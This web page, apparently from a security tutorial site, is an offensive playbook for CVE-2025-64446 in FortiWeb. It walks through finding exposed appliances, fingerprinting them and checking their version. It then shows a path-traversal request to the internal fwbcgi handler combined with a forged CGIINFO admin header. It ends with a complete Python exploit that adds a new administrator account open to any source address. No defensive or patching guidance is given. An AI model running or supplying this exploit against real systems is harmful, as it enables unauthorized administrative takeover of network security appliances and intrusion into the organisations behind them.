> For the complete documentation index, see [llms.txt](https://www.verylazytech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.verylazytech.com/vulnerabilities-and-exploits/cve-poc/cve-2025-64446-a-red-team-offensive-playbook-for-fortiweb-rce-via-path-traversal-+-authentication.md).

# CVE-2025–64446 — A Red Team Offensive Playbook for FortiWeb RCE via Path Traversal + Authentication

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://whop.com/verylazytech/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://whop.com/verylazytech/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

Fortinet products are some of the most battle-tested appliances protecting enterprise networks today — and ironically, the moment a Forti appliance becomes vulnerable, the blast radius is catastrophic. In late 2025, one of the most dangerous vulnerabilities ever discovered in **FortiWeb** surfaced: **CVE-2025–64446**, a chaining vulnerability that combines:

* **Path Traversal**
* **Internal CGI handler exposure**
* **Authentication Bypass via header forging**
* **Privilege escalation to full administrative control**

All **without authentication**.\
All **via a single HTTP request**.\
All **remotely exploitable**.

This article is not marketing fluff. This is the **real offensive playbook** — mapped exactly as a red teamer, exploit developer, or bug bounty hunter would execute it.

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*5LqwD0wSJSK9JB3t" alt="" height="467" width="700"><figcaption><p>Photo by <a href="https://unsplash.com/@clark_fransa?utm_source=medium&#x26;utm_medium=referral">Arnold Francisca</a> on <a href="https://unsplash.com/?utm_source=medium&#x26;utm_medium=referral">Unsplash</a></p></figcaption></figure>

### 1. Recon <a href="#ce7d" id="ce7d"></a>

#### Goal: Identify FortiWeb appliances exposed online <a href="#id-6142" id="id-6142"></a>

Your first step in any offensive operation is **mapping what’s alive and internet-facing**.

#### Fofa Query <a href="#id-4500" id="id-4500"></a>

```
product:"FortiWeb"
```

Look for:

* FortiWeb login pages
* FortiWeb WAF portals
* Exposed management ports (80/443/8443)
* “Server: FortiWeb” banners
* TLS certificates containing “Fortinet”, “FortiWeb”

#### Why recon matters <a href="#id-3f25" id="id-3f25"></a>

CVE-2025–64446 is only exploitable if:

* The **management interface** is exposed
* The appliance is **pre-patch**
* The API routing stack is still using the vulnerable paths
* The internal CGI handler (`fwbcgi`) is reachable

Recon gives you everything you need to decide whether to proceed.

### 2. Fingerprinting <a href="#f59b" id="f59b"></a>

#### Goal: Confirm the device is FortiWeb (not FortiGate, FortiProxy, etc.) <a href="#id-8a1f" id="id-8a1f"></a>

### Banner grabbing <a href="#df39" id="df39"></a>

```
curl -k -I https://TARGET:8443
```

Typical output:

```
Server: FortiWeb
Set-Cookie: APSCOOKIE_xxx=...
```

FortiWeb also frequently exposes:

* `/api/v2.0/`
* `/favicon.ico` with a distinctive hash
* Unique HTML comments such as `<!-- FortiWeb -->`

### Fingerprint Indicators <a href="#a72f" id="a72f"></a>

* `Server: FortiWeb`
* `/api/v2.0/cmdb/...` returns 403 (expected pre-auth)
* TLS CN often includes “FWB”

Once fingerprinted, move on to versioning.

### 3. Version Detection <a href="#c6c3" id="c6c3"></a>

#### Goal: Determine if the appliance is within the vulnerable version ranges. <a href="#id-29cf" id="id-29cf"></a>

#### Affected Versions (Based on NVD, vendor advisories) <a href="#id-8bef" id="id-8bef"></a>

BranchVulnerable Versions7.0.x7.0.0–7.0.117.2.x7.2.0–7.2.117.4.x7.4.0–7.4.97.6.x7.6.0–7.6.48.0.x8.0.0–8.0.1

#### Version Endpoint Probe <a href="#id-28b8" id="id-28b8"></a>

FortiWeb exposes version metadata at:

```
/api/v2.0/system/status
```

Anonymous requests usually fail, but vulnerable systems sometimes leak partial version strings in:

* Error messages
* Redirect headers
* HTML comments
* SSL certificate metadata

Regardless of method, once you confirm the version fits the vulnerable range, you move to exploitation.

### 4. Attack Method 1: Path Traversal <a href="#id-0871" id="id-0871"></a>

#### Goal: Break out of API routing and reach internal CGI. <a href="#id-8c35" id="id-8c35"></a>

This is the heart of CVE-2025–64446.

The vulnerable endpoint is reached by abusing:

```
/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi
```

### Key observations <a href="#id-381e" id="id-381e"></a>

* `%3f` is URL-encoded `?`
* FortiWeb’s routing parser mishandles `%3f` in combination with path segments
* Traversal (`../../../../../`) escapes the API sandbox
* You end up executing an internal CGI script: **fwbcgi**

`fwbcgi` is normally reachable **only after login**, making this deadly.

### Result <a href="#id-3256" id="id-3256"></a>

➡ You fully bypass the FortiWeb API access controls\
➡ You reach a privileged internal handler\
➡ Now you’re at step 2: breaking authentication

### 5. Attack Method 2: CGIINFO Manipulation <a href="#id-7473" id="id-7473"></a>

#### Goal: Forge an internal authentication identity <a href="#b44c" id="b44c"></a>

Once `fwbcgi` executes, it expects an internal header:

```
CGIINFO: <base64 JSON>
```

Usually generated by the **authenticated GUI**, it carries identity metadata.

### What the JSON looks like <a href="#id-20f8" id="id-20f8"></a>

```
{
    "username": "admin",
    "profname": "prof_admin",
    "vdom": "root",
    "loginname": "admin"
}
```

This is terrifying because:

* **The handler trusts the header blindly.**
* **No signature.**
* **No HMAC.**
* **No token validation.**

If you send it, you **become admin**.

### Your exploit turns this into: <a href="#id-0779" id="id-0779"></a>

✔ Full auth bypass\
✔ Full privilege escalation\
✔ Full remote admin

This is the second half of the CVE chain.

### 6. Attack Method 3: Admin User Injection (The Exploit) <a href="#cf97" id="cf97"></a>

#### Goal: Create a new admin user using forged privileges. <a href="#id-3578" id="id-3578"></a>

This is where your exploit shines.

Below is your final exploit script, modified for `host:port` and with color, formatting, and full operational clarity.

#### 🔥 Full Exploit PoC (Python) <a href="#ec64" id="ec64"></a>

#### [CVE-2025–64446 Admin Account Injection](https://github.com/verylazytech/CVE-2025-64446) <a href="#bb91" id="bb91"></a>

```
import http.client
import ssl
import base64
import json
from uuid import uuid4
import sys

# ======================
#   ANSI COLOR CODES
# ======================
RED     = "\033[91m"
GREEN   = "\033[92m"
YELLOW  = "\033[93m"
BLUE    = "\033[94m"
MAGENTA = "\033[95m"
CYAN    = "\033[96m"
WHITE   = "\033[97m"
BOLD    = "\033[1m"
RESET   = "\033[0m"

banner = f"""
{MAGENTA}{BOLD}
 __     __              _                   _____         _     
 \ \   / /__ _ __ _   _| |    __ _ _____   |_   _|__  ___| |__  
  \ \ / / _ \ '__| | | | |   / _` |_  / | | || |/ _ \/ __| '_ \ 
   \ V /  __/ |  | |_| | |__| (_| |/ /| |_| || |  __/ (__| | | |
    \_/ \___|_|   \__, |_____\__,_/___|\__, ||_|\___|\___|_| |_|
           |___/                |___/                    
                  ____   ___ ____  ____     __   _  _   _  _   _  _    __   
  _____   _____  |___ \ / _ \___ \| ___|   / /_ | || | | || | | || |  / /_  
 / __\ \ / / _ \   __) | | | |__) |___ \  | '_ \| || |_| || |_| || |_| '_ \ 
| (__ \ V /  __/  / __/| |_| / __/ ___) | | (_) |__   _|__   _|__   _| (_) |
 \___| \_/ \___| |_____|\___/_____|____/   \___/   |_|    |_|    |_|  \___/ 


{CYAN}         cve-2025-64446.py
{WHITE}
        (*) {YELLOW}FortiWeb Authentication Bypass Artifact Generator{WHITE}
          - {GREEN}VeryLazyTech{WHITE} (@VeryLazyTech)

        CVEs: {RED}[CVE-2025-64446]{RESET}
"""

print(banner)

# ======================
#     ARG CHECK
# ======================
if len(sys.argv) != 2:
    print(f"{RED}[-] Usage: python3 cve-2025-64446.py <target_fortiweb_ip>{RESET}")
    sys.exit(1)

user = str(uuid4())[:8]
password = user

try:
    host, port = sys.argv[1].split(":")
    port = int(port)
except ValueError:
    print(f"{RED}[-] Invalid format! Use <host:port>{RESET}")
    sys.exit(1)
    
raw_path = "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi"

cgiinfo_json = {
    "username": "admin",
    "profname": "prof_admin",
    "vdom": "root",
    "loginname": "admin"
}

cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()

headers = {
    "CGIINFO": cgiinfo_b64,
    "Content-Type": "application/x-www-form-urlencoded",
}

body = {
    "data": {
        "q_type": 1,
        "name": user,
        "access-profile": "prof_admin",
        "access-profile_val": "0",
        "trusthostv4": "0.0.0.0/0",
        "trusthostv6": "::/0",
        "last-name": "",
        "first-name": "",
        "email-address": "",
        "phone-number": "",
        "mobile-number": "",
        "hidden": 0,
        "comments": "",
        "sz_dashboard": -1,
        "type": "local-user",
        "type_val": "0",
        "admin-usergrp_val": "0",
        "wildcard_val": "0",
        "accprofile-override_val": "0",
        "sshkey": "",
        "passwd-set-time": 0,
        "history-password-pos": 0,
        "history-password0": "",
        "history-password1": "",
        "history-password2": "",
        "history-password3": "",
        "history-password4": "",
        "history-password5": "",
        "history-password6": "",
        "history-password7": "",
        "history-password8": "",
        "history-password9": "",
        "force-password-change": "disable",
        "force-password-change_val": "0",
        "password": password
    }
}

body_data = json.dumps(body)
context = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(host, port, context=context)

print(f"{BLUE}[~] Sending exploit payload to {host}:{port} ...{RESET}")

conn.request("POST", raw_path, body=body_data, headers=headers)
resp = conn.getresponse()

# ======================
#     RESULT OUTPUT
# ======================
if resp.status == 200:
    print(f"{GREEN}[✓] Exploit sent successfully!{RESET}")
    print(f"{YELLOW}[*] New user created → {GREEN}{user}{RESET}")
    print(f"{YELLOW}[*] Password         → {GREEN}{password}{RESET}")
else:
    print(f"{RED}[✗] Exploit failed — Status Code: {resp.status}{RESET}")
```

***

{% hint style="success" %}
Learn & practice [**For the OSCP.**](https://whop.com/verylazytech/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://whop.com/verylazytech/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://whop.com/verylazytech/)for e-books and courses.  📚

</details>
{% endhint %}
